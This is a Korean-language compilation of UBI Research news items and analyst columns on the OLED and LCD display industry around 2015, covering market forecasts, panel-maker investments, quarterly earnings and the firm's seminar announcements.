유비산업리서치는 “ 투명 OLED는 투과도가 높아 뒷면의 사물을 제대로 표현해야만하는 showcase와 같은 광고용 투명 display에 적용될 가능성이 높으며, 또한 시야각이 넓고 색 구현력과 시인성이 높아 automotive등 transportation용 display로도 널리 사용될 것”이라 밝혔다. 또한 flexible 구현이 용이하여 앞으로 새롭게 등장할 다양한 application에도 적용이 가능하여 시장 잠재력이 매우 높다고 밝혔다.

투명 display는 투명전자소자를 이용하여 시각적으로 투명한 형태의 display를 통해 정보 인식/정보처리/정보전달의 기능을 가진 display로 평상시에는 유리처럼 투명한 상태로 있다가 필요에 따라서, 모니터, TV처럼 활용이 가능한 장치이다. 정보가 표시되는 영역이 투명하여 display의 뒤에 위치한 사물이 보이기 때문에 공간적/시각적인 제약을 없앨 수 있어 다양한 application에 적용 가능하여 기존 display의 시장을 확대할 수 있을 것으로 기대되고 있다. 특히 투명 OLED는 투과도가 투명 LCD대비 약 2배 가량 높고(최근 공개된 panel 기준) flexible이 용이하다. 따라서 주요 panel업체에서도 투명 OLED를 적극적으로 개발하고 있는 추세이다.

Samsung Display는2015년 45% 투과율의 55inch FHD 투명 OLED를 세계 최초로 공개하였으며 2016년부터 양산할 것이라 밝힌바 있으며, LG Display도 2012년부터 시작 된 ”60inch 이상 UD급 투과도 40%이상인 투명 플렉시블 display”에서 투명 OLED를 개발 중에 있다. 중국의 BOE도 SID 2015에서 30% 투과율의 9.55inch 투명 플렉시블 OLED panel을 공개하는 등 적극적으로 개발을 하고 있다.

이러한 panel업체들의 투명 OLED 개발에 힘입어 투명 OLED가 앞으로의 display의 시장 확대에 큰 역할을 할 것으로 기대된다.

대면적 투명 AMOLED 시장 전망

대면적 투명 AMOLED 시장 전망

유비산업리서치, 제2회 OLED Korea Conference 개최

유기발광다이오드(OLED)의 현재와 미래를 다양한 업종으로부터의 시각을 통해 조명해 볼 수 있는 세계 최대의 OLED International Business Conference가 열린다.

‘OLED 전문 기업’ 유비산업리서치(대표 이충훈)는 2016년 2월 24일~ 25일 양일간에 걸쳐 서울 강남구 양재동에 소재한 The K Hotel에서 ‘제2회 OLED KOREA Conference‘를 개최한다고 밝혔다. 2015년 4월에 성황리에 치뤄진 1회 OLED KOREA Conference에 이어 2016년 개최되는 제2회 OLED KOREA Conference는 보다 넓은 범위와 다양한 시각을 논의할 수 있는 행사가 될 예정이다.

이번 행사는 OLED가 TV와 자동차, 조명, 스마트폰 등으로 활용 범위와 쓰임새를 갈수록 넓혀가고 있는 가운데, 각 업체들의 대응 전략과 현재의 한계점을 검토해 보고 대응방안을 논의해 해결책을 찾기 위해 마련됐다.

유비산업리서치 이충훈 대표는 디스플레이 산업을 이끄는 대한민국에서 디스플레이 뿐만 아니라, “OLED” 라는 차세대 기술을 적용하여 개발과 발전이 가능한 전세계의 미래 산업을 조망하고, 현재의 이슈에 대하여 참석자들과 함께 대화를 나눌 수 있는 자리를 마련했다고 밝혔다.

OLED KOREA Conference는 OLED 산업에서 가장 큰 Conference로서 핵심 기술개발과 투자, 시장에 대한 이슈를 한자리에서 토론하고 또한, OLED 산업 종사자 분들의 시장과 기술에 대한 폭넓은 이해를 통해 급변하고 있는 OLED 산업에 대응할 수 있는 정보의 전달과 의견의 교환에 중점을 두고 있다.

이에, 유비산업리서치에서는 주요 연사들로 한국과 중국의 패널과 장비, 재료, 조명 업체를 포함하는 전세계 OLED 산업 관련 최고의 권위를 가지고 있는 전문가들과 이를 연구하는 학계와 산업 리더들을 적극적으로 초빙하고 있다. 약 130여명의 참여로 이루어진 1회에 이어 제2회 Conference에서는 200명 이상의 주요 OLED 산업 종사자들이 참여할 것으로 기대하고 있다.

유비산업리서치는 본 컨퍼런스 기간중에 별도의 VIP 석식 행사를 통해 OLED 산업계와 학계, 연구소 임원진들과 전문가가 한자리에 모여 OLED 산업에 대해 허심탄회하게 대화를 나눌 수 있는 네트워크 장을 마련할 예정으로 관련문의는 유비산업리서치 홈페이지를 통해 가능하다.

[Analyst Column] 3년뒤 LCD 업계 경영 악화 예상

이충훈, Chief Analyst, UBI Research

BOE가 2018년부터 Gen10.5 LCD 라인을 가동하기 위해 막대한 투자를 집행할 예정인 가운데 Apple과 삼성전자, LG전자, Panasonic 등 주요 세트 메이커들이 스마트폰용 디스플레이와 프리미엄 TV용 디스플레이를 LCD에서 OLED로 전환할 계획을 수립하고 있어 2018년 이후에는 LCD 업계에 불황이 닥칠 가능성이 높아지고 있다.

현재 LCD 업계에서 수익을 창출할 수 있는 부분은 스마트폰용 LTPS-LCD이다. 올해 스마트폰 예상 시장은 약 15억개이며 이중 삼성전자와 Apple이 각각 20%와 15%의 시장을 점유하고 있다.  OLED가 사용되는 부분은 2억개 미만이다.

하지만 2018년 이후에는 양상이 많이 달라지게 된다. 우선 LCD 패널만 사용하던 Apple이 빠르면 2017년, 늦어도 2018년부터는 디스플레이 물량의 40% 정도를 OLED로 전환할 것으로 예상된다. Apple은 JDI와 LG디스플레이, 삼성디스플레이의 flexible OLED 패널을 테스트 중에 있으며, 이들 3개사에게 2017년부터 iPhone에 flexible OLED를 채택할 수 있도록 투자를 권유하고 있다. 총 Capa.는 Gen6 기준 60K이다. 삼성디스플레이와 LG디스플레이의 Gen6 라인 신규 투자가 모두 2016년부터 진행될 예정이기 때문에 이론적으로는 2017년부터 물량 공급이 가능하다.

출처) UBI Research database

Gen6 라인에서 5인치 flexible OLED를 생산할 경우 60K Capa.에서 수율을 50%로 가정하면 연 65백만개가 생산 가능하며 80%로 가정하면 약 1억개가 나올 수 있다. Apple의 2017년 iPhone 예상 출하량을 2.7억대로 추산하면 50~60% 수율 범위내에서는 약 25%의 디스플레이가 LCD에서 OLED로 바뀌게 되며, 수율이 80%에 도달하면 40% 정도의 교체가 발생한다. Apple에 스마트폰용 LCD를 공급하고 있는 LG디스플레이와 JDI, Sharp는 매출과 영업 이익에 큰 악영향을 받게 된다. Apple의 디스플레이 교체만으로도 이들 3개사의 사업은 적자 구조로 돌아 설 수도 있다.

더욱이 Apple은 저가폰은 생산하지 않고 있어 추후 iPhone의 모든 디스플레이가 OLED로 바뀔 수도 있음을 가정하면 Apple에 의해 모바일 기기용 LCD 업계는 3년후부터 사업이 휘청거릴 수 있다.

삼성전자 역시 갤럭시에 사용하는 LCD를 점차 OLED로 전환하고 있는 추세이다. 2015년은 예상 출하량 3억대 중 50%인 1.5억개에 OLED를 탑재하고 있으나 추후 flexible OLED와 rigid OLED 탑재 물량을 늘려 나갈 것으로 예상된다. 특히 Apple이 2017년부터 flexible OLED 탑재를 추진하고 있어 OLED를 주력으로 삼고 있는 삼성전자는 Apple 보다 flexible OLED 사용을 늘릴 것으로 전망되며 2019년부터는 갤럭시의 모든 디스플레이가 OLED로 전환될 것으로 예상되고 있다.

이러한 가정하에서는 2020년 예상 스마트폰 시장 약 20억개에서 삼성전자와 Apple의 예상 시장 7억개가 OLED를 사용할 수 있다고 볼 수 있다.

삼성디스플레이는 자사가 생산하고 있는 OLED를 사용할 세트 업체 진영을 강화하고 있다. 삼성전자 이외에 Motorola와 Huawei등 다양한 업체들에게 OLED 패널을 공급하고 있으며, 새로운 강자로 급부상하고 있는 Xiaomi에도 2016년부터 OLED 패널을 공급할 예정이다. 2017년부터 스마트폰용 디스플레이가 LCD에서 OLED로 급 전환되면 현재 TFT-LCD 라인을 증설하고 있는 중국 디스플레이 업체들은 막대한 악영향이 시작될 것으로 예상된다.

또한 프리미엄 TV 시장에서는 LG전자가 올해 IFA2015에서 향후 OLED TV 사업에 집중할 것을 언급하였고, 이 일환으로 LG디스플레이는 현재 보유하고 있는 Gen8 34K를 내년까지는 60K로 확대할 계획이다. 더불어서 65인치 시장에 대응하기 위해 Gen9.5 라인 투자도 검토 중에 있다. Panasonic은 올해 초 TV 사업에서 철수 할 것으로 언급하였지만 계획을 수정하여 내년부터는 OLED TV를 일본과 유럽에 판매할 계획이다.

삼성 진영에서도 더 이상 OLED TV 사업에 손을 놓고 있을 수 없기 때문에 2016년에 TV용 Gen8 OLED 라인 투자에 대한 이야기가 가시화되고 있다. OLED TV 시장은 올해 약 35만대 수준에 불과할 것으로 전망되지만 Panasonic이 가세하는 2016년은 120만대까지 확대될 것으로 추정된다. 55인치 이상 TV 시장에서 OLED TV 점유율은 4%에 불과할 것으로 예상되지만 프리미엄 TV 시장에서는 10% 이상의 의미 있는 수치가 될 전망이다.

삼성디스플레이가 2016년 TV용 Gen8 OLED 라인을 투자하게 되면 2017년 후반부터는 삼성전자에 물량 공급이 가능해진다. OLED용 Gen8 라인은 최소 투자가 60K를 넘어야 손익분기점에 도달 할 수 있기 때문에 추후 삼성디스플레이는 최소 60K는 연속 투자 할 것이라고 가늠할 수 있다.

이러한 상황에서는 LCD 업계는 비상이 걸릴 수 밖에 없다. 첫번째로는 Sharp가 더 이상 버티기 어려워진다. Apple에 iPhone용 TFT-LCD를 삼성전자에 TV용 LCD를 공급하고 있는 Sharp는 주요 고객을 잃게 되기 때문이다. 두번째로 이들 업체들에게 LCD 패널을 판매하고 있는 BOE와 AUO, JDI 역시 OLED 생산 준비가 되어 있지 않기 때문에 타격은 불가피하다.

BOE는 Gen10.5 라인 가동으로 향후 디스플레이 업계에서 선두 주자로 도약할 계획을 가지고 공격적인 투자를 진행하고 있어 2018년 이후에는 오히려 주요 cash cow가 사라져 경영 압박이 가중될 수 있다.

유비산업리서치 “2015 OLED 결산 세미나” 개최

LCD에 대한 중국 디스플레이 기업들의 공격적인 투자에 대응하기 위해 삼성디스플레이와 LG디스플레이는 flexible OLED와 TV용 대형 OLED 패널을 주축으로 OLED 사업에 대한 투자를 늘리고 있다.

LG 디스플레이는 ‘OLED 알리기’를 통한 공격적인 마케팅을 지속하고 있으며 삼성 디스플레이는 본격적으로 외부 업체 공급 활성화에 나서고 있다. 애플도 차기 제품에 OLED를 적용할 것으로 예상되면서 디스플레이 산업에서 OLED 시장이 크게 확대될 것으로 기대를 모으고 있다.

다가올 2016년의 OLED 사업의 동향과 방향제시를 위해 유비산업리서치(대표 이충훈)는 오는 12월 4일 서울 강남구 HJ컨벤션센터에서 『2015 OLED 결산 세미나』를 개최한다고 밝혔다.

이 자리에서 유비산업리서치 이충훈 대표이사는 한국기업을 중심으로 한 OLED 산업의 현재 현황을 분석하여 2016년의 OLED 사업 판도를 전망할 예정이다.

LG디스플레이 김정현 단장은 디스플레이 산업 시장 전망과 신시장 창출의 필요성과 미래 성장동력인 투명 플렉서블 디스플레이의 미래와 개발 동향에 대해 발표한다.

덕산네오룩스 강성기 전무는 Display의 개발 이력을 살펴보고, AMOLED용 유기재료에 대한 기술 개발에 대한 과거와 현재, 미래를 공유하고 산업계의 SCM및 기타 시장 정보에 대해 논의하고자 한다.

그 밖에도 △OLED 제조 기술 동향(순천향대학교, 문대규 교수) △OLED용 산화물 TFT 기술 동향(한양대학교, 박진성 교수) △ (고려대학교, 홍문표 교수) 대해 다뤄질 예정이다.

Solution process OLED panel, LCD보다 저렴하게 제작 가능

유비산업리서치에서 14일 발간한 “2015 Solution Process OLED Report”에 따르면 “Solution process로 55inch OLED panel을 현재 양산되고 있는 WRGB 방식의 OLED panel보다 약 43% 저렴하게 제작할 수 있다.”라고 분석했다.

보고서에서는 “2015년도 2사분기 기준 55inch UHD OLED panel 가격과 수율을 기준으로 분석한 수치로서 현재 55inch UHD LCD panel의 제조 원가보다는 약간 높게 나타났다. 하지만 solution process OLED의 구조가 단순화 될 것이라는 점과 backplane과 encapsulation 수율이 개선될 수 있는 점을 고려해보면 LCD panel보다 저렴하게 제조할 수 있을 것”이라고 덧붙이며 solution process OLED가 대면적 OLED panel의 가격경쟁력을 확보할 수 있는 대안이 될 것이라고 밝혔다.

Solution process는 대면적 OLED panel을 Gen8 이상의 장비에서 원장 분할 없이 RGB pixel 구조로 제조할 수 있는 기술이며 주요 AMOLED panel 업체에서 적극적으로 개발을 진행 중에 있다.

하지만 solution process에 적용되는 발광재료는 기존 증착재료를 ink화를 시키기 위해 solvent를 섞기 때문에 증착재료보다 순도가 낮아 발광효율이 떨어지고 수명이 낮을 수 밖에 없다. 그럼에도 불구하고 solution process를 주요 panel 업체들에서 적극적으로 개발하고 있는 이유는 color filter를 사용하지 않고 발광재료 사용효율이 높으며 WRGB방식의 OLED panel에 비해 구조가 단순하기 때문에 원가절감을 할 수 있다는 점이다.

Solution process를 적용한 OLED panel은 Panasonic에서 가장 적극적으로 개발을 진행해왔으며 CES와 IFA에서 여러 차례 공개한 적이 있다. BOE와 AUO도 ink-jet 장비를 이용한 solution process OLED panel을 공개한 바 있으며 CSOT에서도 기술개발 방향을 solution process로 검토 중에 있다. AMOLED 산업의 선두주자인 Samsung Display와 LG Display에서도 적극적으로 개발을 진행 중이다. LG Display는 Gen8 ink-jet 장비를 도입하였으며 Samsung Display도 ink-jet 장비업체들을 중심으로 solution process OLED panel 개발에 본격적으로 착수한 상태이다.

Panel 업체뿐만 아니라 재료와 장비업체들도 solution process 기술개발과 상용화에 앞장서고 있다. Kateeva와 Sumitomo Chem., Merck와 Seiko Epson은 기술 협업을 맺었으며 DuPont는 soluble OLED 재료 생산시설 규모를 늘리고 가동을 시작했다고 최근 밝힌 바 있다.

이처럼 solution process 기술 개발과 상용화에 panel 업체뿐만 아니라 주요 재료, 장비업체들이 참여함에 따라 solution process OLED panel 시장은 빠른 시일 내에 성장할 것으로 기대된다.

“2015 Solution Process OLED Report”에서는 solution process OLED panel 시장이 2018년부터 본격적으로 양산되기 시작하여 2020년 약 US$ 2,329 million 규모로 성장할 것으로 전망했다.

유비산업리서치, ‘2015 Display Printed Electronics Seminar’ 개최

  • 국가간 치열한 경쟁의 장이 펼쳐지고 있는 디스플레이 분야에 경쟁력 확보를 위한 인쇄전자 기술을 파악할 수 있는 세미나 장 열려…
  • 유비산업리서치, ‘2015 Display Printed Electronics Seminar’ 개최

 

 

최근 디스플레이 분야는 중국의 공격적 투자와 재역전을 노리는 일본 등 국가간 치열한 경쟁이 일고 있다.

이에 한국의 디스플레이 분야 경쟁력 확보를 위해 필수 기술로 떠오르고 있는 인쇄전자 기술에 대해 알아보고 최신 기술 동향을 파악할 수 있는 세미나 장이 마련된다.

‘디스플레이 전문 기업’ 유비산업리서치(http://www.ubiresearch.co.kr, 대표 이충훈)는 10월 07일(수) 서울 서초구에 소재한 The K Seoul Hotel에서 핵심 전문가 집단을 모시고 인쇄전자 기반의 디스플레이에 대한 최신 기술 개발 동향에 대해 다루는 ‘2015 Display Printed Electronics Seminar’를 개최한다고 밝혔다.

인쇄공정 또는 용액공정은 세계적으로 많은 기대를 받고 있는 새로운 제조기술이다. 인쇄전자의 산업화에 대응하기 위해 국제표준기구 IEC에서 설립한 TC119 국제 간사를 맡고 있는 한국생산기술연구원 강경태 인쇄전자 센터장이 ‘Printed Electronics 국제표준 동향 및 산업 전망’이라는 주제로 인쇄전자산업의 현재를 검토하고 미래를 제시할 예정 이다.

이 자리에서 서울대학교 홍용택 교수는 유연 신축성 기판에 적용 가능하며, 대면적으로 낮은 온도 공정이 가능하여 많은 관심을 받고 있는 인쇄전자 기술을 이용하여 박막트랜지스터 소자를 제작할 때 고려해야 하는 기술적인 이슈들에 대해 설명하고자 한다.

동국대학교 노용영 교수는 플렉서블 디스플레이 개발을 위한 인쇄전자기술의 개발동향 및 연구내용에 대해서 발표 한다.

아울러 단국대학교 진병두 교수는 현재의 진공 열증착 방식으로는 대면적화에 어려움을 갖고 있는 화소형성기술 문제에 있어, 그 대안 기술로 활발히 연구되고 있는 프린팅 공정 기반의 OLED RGB 인쇄기술에 대하여, 용액공정에 의한 저분자 및 고분자 OLED 소자의 효율 및 안정성 향상을 위한 기술동향 리뷰와 잉크젯 공정을 사용하여 구현할 수 있는 고해상도 OLED 기술에 대해 소개하고자 한다.

이 밖에도 ▲ 용액공정 OLED 소재 기술 동향 (한국화학연구원, 이재민 박사), ▲ 인쇄 공정용 전극 소재 및 공정 기술 동향 (전자부품연구원, 이찬재 박사), ▲ 인쇄전자용 블랑켓 적용 및 개발 현황 (알피이, 곽노민 대표), ▲ 인쇄전자 R2R 장비 기술 현황, 이 인쇄전자 분야 최고 전문가들에 의해 다뤄진다.

유비산업리서치는 연 2회 진행하던 세미나를 매월 개최하며, 디스플레이 전문 기업으로서 디스플레이 분야의 “1등 한국”을 위해 관련 분야의 최고의 전문가 들을 연사로 모시며, 산학연 관계자들이 한 자리에 모일 수 있는 최고의 네트워크 장을 마련할 예정 이다.
세미나 참가신청은 유비산업리서치 홈페이지(www.ubiresearch.co.kr)를 통해 할 수 있다.

한국 대면적 AMOLED 장비시장, 향후 5년간 약 9조원 규모 예상

유비산업리서치에서 8월 31일 발간한 OLED manufacturing Equipment Annual Report에 따르면 한국에서 진행될 것으로 예상되는 보완투자 시장은 2016년부터 2020년까지 총 약 US$ 8,640 million 이 될 것으로 전망하였다.

보고서에 따르면 중국의 LCD 신규라인들이 본격적으로 가동을 하게 되면 한국의 Gen8 a-Si LCD line에서 생산되는 panel들은 가격경쟁력에서 열세에 놓일 것으로 예상했으며, 이에 따라 a-Si LCD line이 OLED line으로 보완투자가 되어야 할 것으로 내다봤다. 특히 OLED로의 전환투자가 진행될 시 기존의 a-Si LCD라인을 최대한 활용할 수 있는 저 마스크 구조의 oxide TFT가 최적의 backplane 구조가 될 것으로 예상하였다. 따라서 앞으로의 대면적 AMOLED 양산 투자는 backplane부터 새로 투자하는 신규투자가 아닌 backplane은 기존 a-Si라인을 활용하고 증착기와 encapsulation 장비만 투자를 진행하는 보완투자가 주를 이룰 것으로 전망하였으며, 보완투자를 통해 대면적 OLED panel의 원가를 줄일 수 있다고 분석했다.

투자비용을 비교해보면 Gen8 Oxide TFT의 핵심장비에 대한 신규투자(20K기준)는 약 7000억원이 소요되지만 보완투자를 진행할 경우 약 800억원이 소요되어 신규투자보다 투자비용을 7배정도 줄일 수 있다고 분석하였다.

[Analyst Column] 한국 디스플레이 사업 하향길에 들어서다!

이충훈/Chief Analyst

2015년 2사분기 삼성디스플레이와 LG디스플레이의 실적을 분석한 결과 한국 디스플레이 사업이 내리막을 걷고 있는 것이 명확하게 드러났다.

[2015년 2사분기 한국 디스플레이 전체 매출 분석]

양사의 실적 발표에 의하면 2015년 2사분기 합계는 13.33조원이다. 한국 디스플레이 전체 매출은 2013년 2사분기가 16.05조원이었나 현재는 13.33조원으로 나타나며 전반적인 흐름이 하락세를 나타내고 있다.

 

2015년 2사분기 한국의 디스플레이 매출은 전 분기 대비 QoQ -4% 성장을 나타내었으며, 작년 동 분기에 비해서는 YoY 8% 상승을 보이고 있다.

 

한국 디스플레이 매출이 하락하고 있는 것은 삼성디스플레이의 실적 악화가 주된 요인이다. LG디스플레이는 최근 3년간 매출 변동이 적으나 삼성디스플레이의 매출은 점차적으로 줄어 들고 있기 때문이다.

 

[2015년 2사분기 한국 디스플레이 전체 영업 이익 분석]

양사의 영업 이익 합계에서 고점을 연결해 보면 하락세에 접어들어 사업성이 악화되고 있음을 알 수 있다.

이 결과 역시 삼성디스플레이의 영업 이익 감소가 크게 작용하고 있는 것으로 분석된다.

 

[삼성디스플레이와 LG디스플레이 매출 분석]

양사의 실적 발표에 의하면 삼성디스플레이(SDC)와 LG디스플레이(LGD)는 각각 매출 6.62조원와 6.71조원을 나타냈다. LG디스플레이는 5분기 연속 삼성디스플레이 보다 매출 우위를 점유하고 있다. 양사의 QoQ 각각 -4%(LGD)와 -3%(SDC)를, YoY는 각각 12%(LGD)와 5%(SDC)를 나타내었다. 양사의 2사분기 매출이 1사분기 대비 동시에 하락한 것은 3사분기 매출 역시 하락할 수 있음을 보여주고 있다.

 

 

[삼성디스플레이와 LG디스플레이의 경쟁력 분석]

삼성디스플레이와 LG디스플레이의 사업성을 나타내는 영업이익(profit)을 매출(sales)로 나눈 profit/sales에서 보면 2013년 3사분기까지는 삼성디스플레이가 월등한 경쟁력을 보여주었으나, 그 이후에는 평균적으로 LG디스플레이가 높게 나타나고 있다.

 

[마무리]

한국 디스플레이 사업이 하락세로 들어선 것은 중국 디스플레이 기업들의 공격적인 투자에 의한 대량 생산이 디스플레이 패널 가격 하락을 유도하고 있기 때문으로 분석된다. 특히 중국 BOE의 Gen10.5 LCD 라인 가동이 예상되는 2017년 이후에는 LCD 패널 가격 인하가 더욱 빨라져 한국의 LCD 사업은 경쟁력을 급격히 상실할 것으로 전망된다. LCD 매출이 압도적으로 많은 한국 디스플레이 기업들이 성장세로 돌아서기 위해서는 중국 디스플레이 기업들과 차별화 할 수 있는 OLED 사업 확대가 필요한 시점이다.

대규모 OLED 투자와 LCD 라인을 빨리 OLED 라인으로 전환해야만 한국 디스플레이 사업이 살 수 있는 유일한 대안이다. BOE의 Gen10.5 라인이 가동되는 시점에는 한국 디스플레이 기업들 역시 Gen6 flexible OLED 투자와 Gen8 OLED 라인 조기 구축으로 대응해야 한다.

 

[Analyst Column] LG Display, 2사분기 실적 분석과 flexible OLED 투자 의미

이충훈 / Chief Analyst

7월 23일, 여의도 LG 트윈타워에서 LG Display의 실적 발표회를 개최하였다. LG Display의 지난 2사분기 매출은 6.71조원이며 영업이익은 0.49조원을 달성했다고 보고했다.

매출은 지난 분기 보다 0.31조원 감소(-5%)하였으나 지난 해 동분기 보다는 0.73조원 증가(12%)한 실적을 달성하였다. 영업 이익에서는 지난 분기 대비 0.25조원 감소(-34%), 지난 해 동 분기 대비 0.33조원 증가(206%)한 수치이다.

LG Display는 매출과 영업이익에서 지난 5분기 동안 Y/Yo(초록색 선)가 U자 커브의 성장세를 나타내었으나 이번 분기에서는 하락세를 나타내고 있다. 2015년에는 LG 디스플레이의 성장세가 둔화될 조짐이 있는 것으로 분석된다.

LG Display의 2사분기 Y/Yo 성장세 꺾임은 성장세를 유지하던 smart phone 시장 성장 둔화와 TV 시장 감소에 의한 요인이 가장 크게 작용한 것으로 분석되며 더불어 중국 디스플레이 기업들의 공격적인 투자에 의한 패널 가격 하락이 반영된 결과로 예상 된다.

LG Display가 하락 성장을 멈추기 위해서는 현재 주력 사업인 LCD 패널 위주에서 경쟁 업체들과 차별화할 수 있는 제품의 대량 생산이 시급할 것으로 분석된다.

이날 LG Display의 경영진은 플렉서블 OLED 시장 선도를 위해 1조 500억원 규모의 Gen6 플렉서블 OLED 라인 투자 결정을 공시했다. 투자 위치는 구미 공장이다. 초기 투자는 7.5K로서 삼성디스플레이에 이어 세계 2번째로 flexible OLED 전용 라인이 만들어질 예정이다.  이 라인은 추후 15K까지 증설될 것으로 예상 된다.

LG Display의 지난 해 영업 이익이 약 1.35조원이었던 점을 고려하면 flexible OLED에 1조원을 투자하는 것은 매우 큰 금액이다. 투자 결정에 매우 어려움이 컸을 것이다. 하지만 LG Display가 flexible OLED 전용 라인 투자를 과감하게 결정한 것은 기존 주력 시장인 LTPS-TFT LCD를 생산하는 기업들이 증가하고 있으며, 이미 rigid OLED에서는 삼성디스플레이가 독점 시장을 확보하고 있어 시장 확보가 쉽지 않기 때문이다.

LG Display의 CFO 김상돈 전무는 “Flexible OLED Gen6 line 투자가 어제 이사회에서 결정되었고, 오늘 아침에 공시되었다”라고 말하며 “OLED 사업에서 기술적인 우위를 가져가기 위한 결정이었고 foldable이나 rollable 기술에서도 시장 선점을 할 것이다”라고 투자 결정의 이유를 설명했다. Flexible OLED line은 월 7.5K가 가동될 것이라고 덧붙였다.

대면적 OLED panel 관련해서는 지난 1분기 실적 설명회 때 밝힌 것과 같이 올해 패널 생산 목표는 60만대, 내년 150만대임을 다시 한 번 강조하였다. 또한 2016년에는 현재 가동되는 capa.보다 약 9K 이상인 34K가 운영될 것이라고 밝혔다. 이어 아직 OLED TV의 성장이 크지 않아 내년 150만대에 대한 공급 과잉의 우려에 대해서는 올해 하반기부터 적극적인 프로모션 활동을 통해 수요를 늘리겠다는 방안을 제시했다.

한편 LG Display는 중대형 패널의 판가 하락에도 불구하고 세트의 대면적화와 AIT 기술을 이용한 실적 덕분에 영업이익은 4조 8,800억원을 기록하였다. 이는 전분기 대비 34% 하락한 수치이지만 작년 동분기 대비 199% 오른 수치이다. 3분기 실적에 대해서는 계절적 요인과 패널 대형화 트렌드가 매출 상승에 기인할 것으로 보여진다고 발표했다.

[Update]최신 OLED 기술 동향을 한 자리에서 파악할 수 있는 세미나 장 열려… 유비산업리서치, ‘2015 OLED 핵심기술 세미나’ 개최

차세대 디스플레이로 자리매김한 유기발광다이오드(OLED)의 최신 기술 동향을 파악할수 있는 세미나 장이 마련된다.

‘OLED 전문 기업’ 유비산업리서치(http://www.ubiresearch.co.kr, 대표 이충훈)는 8월 27일(목) 서울 강남구 삼성동에 소재한 COEX에서 ‘2015 OLED 핵심 기술 세미나’를 개최한다고 밝혔다.

이번 세미나는 최신 OLED 산업에서 이슈 되고 있는 flexible OLED와 encapsulation(봉지기술), Oxide-TFT, 청색인광재료, solution process 공정 등에 대한 주제로 OLED 산업에서 주목할 만한 기술의 개발 현황과 전망에 대해 집중 소개한다.

OLED 패널에 있어서 최종 수율과 패널 수명을 결정하는 encapsulation은 Flexible OLED와 대면적 OLED 패널에서 외곽 디자인을 좌우하는 중요한 공정이며, 또한 전면 발광 구조에서는 광 특성에도 민감하게 작용한다. ‘2015 OLED 핵심 기술 세미나’에서는 유비산업리서치 이충훈 대표가 최근 OLED 주요 업체들이 사용하는 공정과 주요 재료들을 분석하여 향후 OLED 패널이 시장에서 지속 성장하기 위해 필수적으로 확보해야 할 기술과 encapsulation 기술 동향을 소개할 예정이다.

이 자리에서 한국전자통신연구원 조남성 박사는 최신 한국 디스플레이 시장에서 주목받고 있는 White OLED 기술을 기반으로 하는 디스플레이 기술에 대해 조명부터 대형 TV까지, 차세대 디스플레이의 핵심기술인 백색 OLED 기술의 현황과 미래에 대하여 설명한다.

아울러 중앙대학교 박성규 교수는 현재, 디스플레이 및 차세대 웨어러블 디바이스 소자로서 각광 받고 있는 산화물 전자소재의 특성 및 용액공정 기반으로 발전하고 있는 새로운 기술 및 응용에 대한 소개와 더불어 최근 국내외적으로 각광 받고 있는 관련 기술 동향 및 향후 발전 전망을 발표할 예정이다.

이 밖에도 ▲ AMOLED 패널 기술 동향 분석 (유비산업리서치, 장현준 선임연구원), ▲ 산화물박막트랜지스터 기술 현황 (충남대학교, 이가원 교수), ▲ 용액공정과 진공증착용 OLED 재료의 현황과 전망 (부산대학교, 진성호 교수), ▲ 고효율 청색 인광재료 개발 동향 (성균관대학교, 이준엽 교수), ▲ Flexible OLED 기술 동향, 이 OLED 최고 전문가들에 의해 다뤄진다.

유비산업리서치는 2011년부터 매년 OLED 핵심 기술 세미나를 개최 하며, OLED 전문기업으로서 OLED를 위한 가치 있는 공유의 장을 마련하고 있다. 세미나 참가신청은 유비산업리서치 홈페이지(www.ubiresearch.co.kr)를 통해 할 수 있다.

 

[Analyst Column] 한국 TV 산업, 어디로 가야 하나?

이충훈 / 수석 애널리스트 / 유비산업리서치 / ubiyi@ubiresearch.co.kr

최근 신문 지상을 통해 보도되는 한국의 TV 산업은 적자 구조에서 벗어나지 못하고 있는 빨간 불이다.

프리미엄급 고가 TV 시장은 삼성전자와 LG전자의 시장 점유율이 높지만 30인치급에서는 저가 제품에 밀려 고전을 면치 못하고 있기 때문이다. 삼성전자와 LG전자는 매출을 유지하기 위해 제품 포트폴리오를 다양하게 운영하고 있으나 영업 이익은 점점 바닥으로 떨어지고 있다. 이러한 여파로 삼성디스플레이와 LG디스플레이에서 생산하는 LCD 패널 재고가 점차 증가하고 있다.

LCD 패널 사업이 점차 수렁으로 빠져들고 있다.

한국의 LCD TV와 LCD 사업성이 나빠질 수 밖에 없는 이유는 무엇일까?

이것은 이미 일본의 TV와 LCD 사업이 걸어온 길을 보면 예견 할 수 있다. 2000년대 초반까지만 해도 일본은 전자 왕국이었다. 하지만 일본의 TV 사업은 점점 도태되고 있다. 한국의 중저가 제품에 의해 일본을 대표하는 Sony와 Panasonic의 TV 사업이 붕괴되기 시작했고, 이어서 LCD 사업마저 적자 구조로 급변화하게 되었다. 급기야 Sony는 TV 사업을 분사하게 되었고, Panasonic은 내수용을 제외한 TV 사업을 중단시켰다. 한국 TV 업체가 시장을 지배하게 되었다. 하지만 불과 수년 만에 한국의 TV 사업이 중국 등지의 중저가 제품에 의해 점차 사업성을 잃어가고 있다.

두 번째는 디스플레이 투자이다. 일본 TV 산업이 무너지기 시작하자 일본의 디스플레이 업체들은 투자를 중단할 수 밖에 없게 되었다. 고객사들의 패널 구매력이 나빠졌기 때문에 TV 시장은 성장하여도 투자를 해서 이익을 창출 할 수 있는 통로가 보이지 않았기 때문이다. 한국 역시 마찬가지이다. 삼성전자와 LG전자의 TV 사업 수익성 악화가 곧 삼성디스플레이와 LG디스플레이의 투자 중단을 불러왔다. 하지만 중국 디스플레이 업체들은 Gen10.5 라인 투자도 시작하였다. TV 사업은 조립 사업과 영업망에 의존되고 있어 초기 투자 비용이 적다. 하지만 디스플레이 사업은 초기부터 막대한 자금을 투입해야 하기 때문에 리스크가 매우 큰 사업이다. 투자비 회수를 하지 못하고 영업 이익이 떨어지면 기업들은 막대한 손실을 입게 되며 사업 정리도 쉽지 않은 특성이 있다.

